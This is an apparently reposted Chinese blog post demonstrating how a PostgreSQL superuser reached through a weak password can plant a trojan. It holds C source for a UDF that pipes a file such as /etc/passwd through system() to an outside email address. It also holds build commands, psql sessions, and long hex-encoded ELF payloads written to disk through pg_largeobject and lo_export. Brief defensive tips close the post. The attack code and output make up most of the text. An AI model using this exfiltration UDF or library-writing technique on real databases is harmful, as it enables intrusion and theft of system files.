对于PostgreSQL弱口令植入木马试验

Postgre SQL 前端之家
前端之家收集整理的这篇文章主要介绍了对于PostgreSQL弱口令植入木马试验，前端之家小编觉得挺不错的，现在分享给大家，也给大家做个参考。

近期阿里云发表《态势感知将DDOS扼杀在摇篮中》中，指出黑客们可以利用弱口令进去数据库系统，进行植入木马。其实早在2013年，Wooyun上发表了的《PostgreSQL的那点事儿》就已经阐明了如何利用弱口令进行攻击了。还有《“HACKING” WITH POSTGRESQL》。So，难道说PG不安全么？NO！下面我们就如何植入木马进行实验。

PS：木有文件服务器，而且是做实验，在这里只是通过linux的mail向我邮箱发送邮件。

1、建立PG的C函数： 

/*
 *      test mail
 */
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(mailtest);

Datum
mailtest(PG_FUNCTION_ARGS)
{
        char    *filepath = PG_GETARG_CSTRING(0);
        int     len = sizeof(filepath);
        char    cmd[len + 41];

        sprintf(cmd,"cat %s | mail -s test postgres_test@163.com",filepath);

        system(cmd);

        return Int32GetDatum(0);
}
2、编译并拷贝： 
[postgres@localhost code]$ gcc -fpic -I/opt/pg9.5/include/postgresql/server/ -shared -o mailtest.so mailtest.c 
[postgres@localhost code]$ cp mailtest.so /opt/pg9.5/lib/postgresql/
[postgres@localhost code]$ ll mailtest.so
-rwxrwxr-x. 1 postgres postgres 6587 Dec 3 10:30 mailtest.so
3、在psql下测试： 
psql (9.5beta2)
Type "help" for help.

postgres=# load 'mailtest';
LOAD
postgres=# create function mailtest(cstring) returns integer as '$libdir/mailtest.so','mailtest' language c strict;
CREATE FUNCTION
postgres=# select mailtest('/etc/passwd');
 mailtest 
----------
        0
(1 row)

4、邮件：

5、获取二进制值： 

[postgres@localhost code]$ cp mailtest.binary /opt/pg9.5/data/
在这里我就不贴出文件了，过长。。。

6、通过数据库系统函数得到新的二进制文件（这不是最后工作）： 

postgres=# create table mailtest_table(t0 text,t1 text,t2 text,t3 text,t4 text,t5 text,t6 text,t7 text,t8 text);
CREATE TABLE
postgres=# copy mailtest_table from '/opt/pg9.5/data/mailtest.binary';
COPY 412
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 0) to '/opt/pg9.5/data/mail0';
COPY 128
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 128) to '/opt/pg9.5/data/mail1';
COPY 128
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 256) to '/opt/pg9.5/data/mail2';
COPY 128
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table limit 128 offset 384) to '/opt/pg9.5/data/mail3';
COPY 28
postgres=# \i '/opt/pg9.5/data/mailshell'
ERROR: large object 12345 does not exist
STATEMENT: select lo_unlink(12345);
psql:/opt/pg9.5/data/mailshell:1: ERROR: large object 12345 does not exist
lo_create
-----------
  12345
(1 row)


INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1
lo_export
-----------
    1
(1 row)


-rw-r--r--. 1 postgres postgres 6588 Dec 3 10:58 /tmp/mailtest0
lo_unlink
-----------
    1
(1 row)

这里要说明一下为什么copy设置了limit和offset，因为向pg_largeobject插入数据的时候，他的值最大是LOBLKSIZE（即BLCKSZ / 4，即2048），我这里获取的字节数是4096，因为这是16进制数，so，写入文件后就变成2048了。其次需要进行生成两次，这是因为pg本身会把数据进行调整，so，不得不进行两次生成so文件。

7、再一次加载二进制文件，生成so文件，建立函数； 

[postgres@localhost tmp]$ hexdump -v mailtest0 > mailtest.binary0
[postgres@localhost tmp]$ cp mailtest.binary0 /opt/pg9.5/data/
postgres=# create table mailtest_table0(t0 text,t8 text);
CREATE TABLE
postgres=# copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';
ERROR:  missing data for column "t1"
CONTEXT:  COPY mailtest_table0,line 1: "0000000 7f45 4c46 0201 0100 0000 0000 0000 0000"
STATEMENT:  copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';
ERROR:  missing data for column "t1"
CONTEXT:  COPY mailtest_table0,line 1: "0000000 7f45 4c46 0201 0100 0000 0000 0000 0000"
postgres=# copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';
ERROR:  missing data for column "t1"
CONTEXT:  COPY mailtest_table0,line 1: "0000000 7f45 4c46 0201 0100 0000 0000 0000 0000"
postgres=# copy mailtest_table0 from '/opt/pg9.5/data/mailtest.binary0';
COPY 412
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 0) to '/opt/pg9.5/data/mail4';
COPY 128
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 128) to '/opt/pg9.5/data/mail5';
COPY 128
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 256) to '/opt/pg9.5/data/mail6';
COPY 128
postgres=# copy (select t1||t2||t3||t4||t5||t6||t7||t8 from mailtest_table0 limit 128 offset 384) to '/opt/pg9.5/data/mail7';
COPY 28

postgres=# \i '/opt/pg9.5/data/mailshell0'
ERROR:  large object 12345 does not exist
STATEMENT:  select lo_unlink(12345);
psql:/opt/pg9.5/data/mailshell0:1: ERROR:  large object 12345 does not exist
 lo_create 
-----------
     12345
(1 row)

INSERT 0 1
INSERT 0 1
INSERT 0 1
INSERT 0 1
 lo_export 
-----------
         1
(1 row)

-rw-r--r--. 1 postgres postgres 6588 Dec  3 11:23 /opt/pg9.5/lib/postgresql/mailtest.so
 lo_unlink 
-----------
         1
(1 row)

LOAD
CREATE FUNCTION
postgres=# select mailtest('/etc/passwd');
 mailtest 
----------
        0
(1 row)

8、邮件：

总结：

纵观整个实验过程，以及上边提到的攻击方式都是首先获取了你的访问地址以及你的口令，从而进行破坏，所以PG还是非常安全的，除非你的习惯有问题。
同时引用《“HACKING” WITH POSTGRESQL》一句话，if you give somebody your superuser access – you practically gave him a shell access.

保护措施：

1、加强口令复杂度
2、设置hba文件
3、可以设置口令有效期
4、做好防火墙

mailshell: 

select lo_unlink(12345);
select lo_create(12345);
insert into pg_largeobject values(12345,decode('457f464c0102000100000000000000000003003e00010000055000000000000000400000000000000b58000000000000000000000040003800060040001c00190001000000050000000000000000000000000000000000000000000000000000081400000000000008140000000000000000002000000000000100000006000008180000000000000818002000000000081800200000000001f80000000000000208000000000000000000200000000000020000000600000848000000000000084800200000000008480020000000000180000000000000018000000000000000080000000000000004000000040000019000000000000001900000000000000190000000000000002400000000000000240000000000000004000000000000e550647400040000076c000000000000076c000000000000076c000000000000002400000000000000240000000000000004000000000000e5516474000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000004000000140000000300004e470055a9e0572394bee8ff9d3930009ae3d1614fa36b620000000000030000000700000001000000060000c18801200c0009c200070000000b0000000d00004c483b5d4ace46f3e3ba7c924543ecd571d81c588db90ef1d3ea0eef0dc7d4a600000000000000000000000000000000000000000000000000000000000000000003000904f00000000000000000000000000000000100000020000000000000000000000000000000000000002b00000020000000000000000000000000000000000000006700000012000000000000000000000000000000000000001c00000022000000000000000000000000000000000000005f00000012000000000000000000000000000000000000005600000012000b06360000000000000098000000000000004d00000012000b0629000000000000000d000000000000008b00000010fff10a200020000000000000000000000000007800000010fff10a100020000000000000000000000000007f00000010fff10a100020000000000000000000000000001000000012000904f00000000000000000000000000000001600000012000c07080000000000000000000000000000003f00000012000b061c000000000000000d0000000000005f00675f6f6d5f6e747372615f74005f695f696e0074665f6e6900695f5f78635f616966616e696c657a5f00764a525f6765736965744372616c7373736550005f67616d69675f637566636e70005f676966666e5f6f616d6c6965747473730072706e696674730073796574006d696c6362732e2e6f0036655f616461745f00625f7373735f617474725f006e6500644c4742495f432e322e32003500000000000000000002000200020001000100010001000100010001000100000000000000010001006e000000100000000000001a75096900000002009000000000000008400020000000000008000000000000084000200000000009c80020000000000006000000020000000000000000000009d00020000000000006000000030000000000000000000009d80020000000000006000000050000000000000000000009f8002000000000000700000004000000000000000000000a00002000000000000700000005000000000000000000000a0800200000000000070000000600000000000000000000834808ec57e80000e80000f20000cde800014800c483c30835ff04da002025ff04dc00201f0f004025ff04da002000680000e900ffe0ffff25ff04d2002001680000e900ffd0ffff25ff04ca002002680000e900ffc0ffff0000000000000000834808ec8b486d0520044800c0850274d0ff834808c490c390909090909090908055983d20040000894841e5535462758348503d200400000c748d48af3d2002e800ff92ffff8d48931d20024c00258d028400208b486d0520044c00e329c14803fb834801eb394873d80f20441f0000834801c089484d052004410014ff48c4058b04420020394872d8c6e52e0520040100415bc95c66c31f0f0084000000008348403d200200004855e5891a748b48cb0520034800c0850e748d48273d2002c900e0ff1f0f0040c3c990904855e5898d4829050001c90055c3894848e5058d01180000c3c94855e5894853ec8348387d8948c8e089894848c3458b48c8408b48204589c7e0ec4500080000458b83ec29c0634848d0ea834801558948d04898c083480fc083480fe8c14804e0c14804c429894848e0c083480fe8c14804e0c14804458948d80d8d008400008b48d8458b48e055894848cec78900b80000e800fe84ffff8b48d8458948e8c7fe58ffff00b800004800dc898b48f85dc3c990904855e5894853ec834808058b013800208348fff819748d482b1d20010f00001f834808ebd0ff8b484803f88375ff48f1c4835b08c3c99090834808ec5fe8fffe48ffc483c308000000000000000000006163207473257c206d206961206c732d7420736520746f70747372677365745f7365407436312e336f63006d00010000001c00000389000000640000002000000040000000010000000100001b013b030020000000030000feb0ffff003c0000febdffff005c0000fecaffff007c000000140000000000007a010052780101100c1b080701900000001c0000001c0000fe6cffff000d00004100100e02860d434806070c00080000001c0000003c0000fe59ffff000d00004100100e02860d434806070c0008000000240000005c0000fe46ffff009800004100100e02860d43','hex'));
insert into pg_largeobject values(12345,1,decode('4f0603838402070c00080000000000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff0000000000000000000000000000000008400020000000000001000000000000006e000000000000000c00000000000004f0000000000000000d0000000000000708000000000000fef56fff0000000001b80000000000000005000000000000036800000000000000060000000000000200000000000000000a000000000000009c000000000000000b0000000000000018000000000000000300000000000009e00020000000000002000000000000004800000000000000140000000000000007000000000000001700000000000004a8000000000000000700000000000004480000000000000008000000000000006000000000000000090000000000000018000000000000fffe6fff000000000428000000000000ffff6fff000000000001000000000000fff06fff000000000404000000000000fff96fff0000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084800200000000000000000000000000000000000000000051e000000000000052e000000000000053e00000000000043473a4328204e4729553420342e362e3220313030323033203552286465482074613420342e362e342d002943473a4328204e4729553420342e372e3220313030323133203352286465482074613420342e372e312d29360000732e6d7961740062732e727461740062732e73687274617400626e2e746f2e656e672e7575626c692d6464692e006e672e75616868732e007964736e6d792e007964736e72742e006e672e75657673726f69006e672e756e762e726569736e6f725f2e006572616c642e6e792e006572616c702e746c2e006e6974692e00657474782e006966696e2e006f72616461742e006865665f6172656d685f72642e006865665f6172656d2e007463726f0073642e6f7473722e00636a0072642e74612e6165722e6c6f722e007964616e696d0063672e746f2e006f672e746c700074622e73732e006f636d6d6e65007400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000019000000000000001900000000000000024000000000000000000000000000000040000000000000000000000000000002e0000fff66fff000200000000000001b800000000000001b8000000000000004400000000000000030000000000000008000000000000000000000000000000380000000b000000020000000000000200000000000000020000000000000001680000000000000004000000020000000800000000000000180000000000000040000000030000000200000000000003680000000000000368000000000000009c00000000000000000000000000000001000000000000000000000000000000480000ffff6fff000200000000000004040000000000000404000000000000001e00000000000000030000000000000002000000000000000200000000000000550000fffe6fff000200000000000004280000000000000428000000000000002000000000000000040000000100000008000000000000000000000000000000640000000400000002000000000000044800000000000004480000000000000060000000000000000300000000000000080000000000000018000000000000006e000000040000000200000000000004a800000000000004a8000000000000004800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000004f000000000000004f0000000000000001800000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000050800000000000005080000000000000040000000000000000000000000000000040000000000000010000000000000007e00000001000000060000000000000550000000000000055000000000000001b80000000000000000000000000000001000000000000000000000000000000084000000010000000600000000000007080000000000000708000000000000000e000000000000000000000000000000040000000000000000000000000000008a000000010000000200000000000007200000000000000720000000000000004c00000000000000000000000000000010000000000000000000000000000000920000000100000002000000000000076c000000000000076c000000000000002400000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000007900000000000000790000000000000008400000000000000000000000000000008000000000000000000000000000000aa000000010000000300000000000008180020000000000818000000000000001000000000000000000000000000000008000000000000000000000000000000b1000000010000000300000000000008280020000000000828000000000000001000000000000000000000000000000008000000000000000000000000000000b80000000100000003000000000000083800200000000008380000000000000008000000000000',2,decode('00000000000000000008000000000000000000000000000000bd000000010000000300000000000008400020000000000840000000000000000800000000000000000000000000000008000000000000000000000000000000ca000000060000000300000000000008480020000000000848000000000000018000000000000000040000000000000008000000000000001000000000000000d3000000010000000300000000000009c800200000000009c8000000000000001800000000000000000000000000000008000000000000000800000000000000d8000000010000000300000000000009e000200000000009e0000000000000003000000000000000000000000000000008000000000000000800000000000000e100000008000000030000000000000a100020000000000a10000000000000001000000000000000000000000000000008000000000000000000000000000000e6000000010000003000000000000000000000000000000a1000000000000000590000000000000000000000000000000100000000000000010000000000000011000000030000000000000000000000000000000000000a690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select lo_export(12345,'/tmp/mailtest0');
\! ls -l /tmp/mailtest0
select lo_unlink(12345);

mailshell0： 

select lo_unlink(12345);
select lo_create(12345);
insert into pg_largeobject values(12345,decode('7f454c4602010100000000000000000003003e000100000050050000000000004000000000000000580b0000000000000000000040003800060040001c00190001000000050000000000000000000000000000000000000000000000000000001408000000000000140800000000000000002000000000000100000006000000180800000000000018082000000000001808200000000000f801000000000000080200000000000000002000000000000200000006000000480800000000000048082000000000004808200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000006c070000000000006c070000000000006c0700000000000024000000000000002400000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474e5500e0a92357be94ffe8399d0030e39a61d1a34f626b000000000300000007000000010000000600000088c12001000cc209070000000b0000000d000000484c5d3bce4af346bae3927c4345d5ecd871581cb98df10eead3ef0ec70da6d4000000000000000000000000000000000000000000000000000000000000000003000900f00400000000000000000000000000000100000020000000000000000000000000000000000000002b00000020000000000000000000000000000000000000006700000012000000000000000000000000000000000000001c00000022000000000000000000000000000000000000005f00000012000000000000000000000000000000000000005600000012000b00360600000000000098000000000000004d00000012000b0029060000000000000d000000000000008b0000001000f1ff200a2000000000000000000000000000780000001000f1ff100a20000000000000000000000000007f0000001000f1ff100a20000000000000000000000000001000000012000900f00400000000000000000000000000001600000012000c00080700000000000000000000000000003f00000012000b001c060000000000000d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e630070675f66696e666f5f6d61696c7465737400737072696e74660073797374656d006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000000000002000200020001000100010001000100010001000100000000000000010001006e0000001000000000000000751a6909000002009000000000000000400820000000000008000000000000004008200000000000c80920000000000006000000020000000000000000000000d00920000000000006000000030000000000000000000000d80920000000000006000000050000000000000000000000f80920000000000007000000040000000000000000000000000a20000000000007000000050000000000000000000000080a200000000000070000000600000000000000000000004883ec08e857000000e8f2000000e8cd0100004883c408c3ff35da042000ff25dc0420000f1f4000ff25da0420006800000000e9e0ffffffff25d20420006801000000e9d0ffffffff25ca0420006802000000e9c0ffffff00000000000000004883ec08488b056d0420004885c07402ffd04883c408c390909090909090909055803d98042000004889e5415453756248833d5004200000740c488d3daf022000e892ffffff488d1d930220004c8d2584022000488b056d0420004c29e348c1fb034883eb014839d873200f1f4400004883c0014889054d04200041ff14c4488b05420420004839d872e5c6052e042000015b415cc9c3660f1f84000000000048833d4002200000554889e5741a488b05cb0320004885c0740e488d3d27022000c9ffe00f1f4000c9c39090554889e5488d0529010000c9c3554889e5488d0518010000c9c3554889e5534883ec3848897dc84889e04889c3488b45c8488b4020488945e0c745ec080000008b45ec83c0294863d04883ea01488955d048984883c00f4883c00f48c1e80448c1e0044829c44889e04883c00f48c1e80448c1e004488945d8488d0d84000000488b45d8488b55e04889ce4889c7b800000000e884feffff488b45d84889c7e858feffffb8000000004889dc488b5df8c9c39090554889e5534883ec08488b05380120004883f8ff7419488d1d2b0120000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e85ffeffff4883c408c300000000000000000000636174202573207c206d61696c202d73207465737420706f7374677265735f74657374403136332e636f6d00010000001c000000890300006400000020000000400000000100000001000000011b033b2000000003000000b0feffff3c000000bdfeffff5c000000cafeffff7c0000001400000000000000017a5200017810011b0c0708900100001c0000001c0000006cfeffff0d00000000410e108602430d06480c07080000001c0000003c00000059feffff0d00000000410e108602430d06480c0708000000240000005c00000046feffff9800000000410e108602430d',decode('064f830302840c0708000000000000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000400820000000000001000000000000006e000000000000000c00000000000000f0040000000000000d000000000000000807000000000000f5feff6f00000000b80100000000000005000000000000006803000000000000060000000000000000020000000000000a000000000000009c000000000000000b0000000000000018000000000000000300000000000000e00920000000000002000000000000004800000000000000140000000000000007000000000000001700000000000000a804000000000000070000000000000048040000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f000000002804000000000000ffffff6f000000000100000000000000f0ffff6f000000000404000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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\! ls -l /opt/pg9.5/lib/postgresql/mailtest.so
select lo_unlink(12345);
load 'mailtest';
create function mailtest(cstring) returns integer as '$libdir/mailtest.so','mailtest' language c strict;

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